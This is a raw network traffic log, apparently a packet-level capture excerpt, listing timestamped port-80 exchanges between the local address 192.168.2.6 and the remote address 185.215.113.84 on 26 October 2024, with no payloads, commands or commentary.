Oct 26, 2024 07:27:10.414469004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414488077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414514065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415029049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415054083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415069103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415082932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415096998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415106058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415194988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415218115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415240049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415241003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415256977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415257931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415273905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415277958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415290117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415302038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415306091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415318012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415334940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415348053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415350914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415363073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415380001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415388107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415394068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415415049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415425062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415436029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415941000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.415991068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.415993929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416009903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416033983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416049957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416053057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416069031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416083097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416094065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416106939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416116953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416124105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416131020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416140079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416152954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416157961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416182041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416191101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416203976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416208029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416224003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416238070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416253090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416253090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416263103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416284084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416304111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416876078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416924953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.416975021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.416990042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417007923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417016983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417032003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417036057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417048931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417056084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417064905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417073965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417081118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417089939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417104959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417107105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417124033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417124033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417140961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417148113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417157888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417164087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417177916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.417185068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417205095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.417223930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.496309996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.496376038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.565443993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.565505981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.565515995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.565526009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.565526962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.565553904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.565572977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566395998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566416979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566428900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566446066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566459894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566472054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566481113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566493988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566505909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566518068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566518068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566538095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566543102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566555023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566567898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566570997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566577911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566577911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566603899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566622019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566622019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566637039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566648960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566660881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566662073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566693068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566705942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566706896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566718102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566730022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566730976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566744089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566761971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566778898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566783905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566802979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566822052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566831112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566836119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566860914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566874027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566883087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566895008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566905022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.566926003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566951036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.566991091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567029953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567058086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567071915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567089081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567099094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567102909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567116976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567121029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567131996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567142010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567152977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567179918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567277908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567297935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567327023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567338943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567368984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567385912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567398071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567415953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567418098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567423105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567452908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567493916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567539930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567568064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567580938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567599058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567608118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567610979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567619085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567622900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567641973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567653894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567668915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567668915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567681074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567692995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567696095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567714930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567739010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567759991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567771912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567783117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567791939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.567804098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.567827940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.570800066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.570816994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.570827961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.570846081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.570857048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.570925951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.570960999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.570965052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.570972919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571001053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571014881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571036100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571049929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571060896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571073055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571075916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571086884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571110010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571134090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571146011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571156979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571170092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571172953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571182966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571197987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571224928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571399927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571439028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571449995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571460962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571496964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571511984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571522951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571540117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571553946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571558952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571562052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571579933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571599960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571639061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571651936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571662903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571676016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571681976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571695089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571713924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571732998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571769953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571778059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571782112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571805000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571820974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571834087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571847916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571858883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571871996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571872950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571888924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571891069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571904898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571913004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571938038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571938992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.571962118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571964979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571969986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.571976900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572000027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572016001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572324038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572361946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572369099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572386980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572402954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572406054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572410107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572417974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572442055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572478056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572490931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572503090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572523117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572549105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572633028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572645903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572655916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572666883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572669983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572690010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572698116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572701931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572715044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572721004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572726965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572741032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572746038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572757959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572766066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572773933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572777987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572791100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572792053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572803020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572817087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.572818041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572849035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.572864056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573239088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573251009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573262930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573280096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573288918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573301077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573312044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573312998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573327065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573340893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573353052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573353052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573374987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573431015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573443890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573453903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573466063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573471069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573486090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573496103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573497057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573510885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573523045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573525906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573535919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573546886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573548079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573560953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573560953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573605061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573606014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573611975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573618889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573626041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573632956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.573646069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573661089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.573692083 CEST	49991	80	192.168.2.6	185.215.113.84
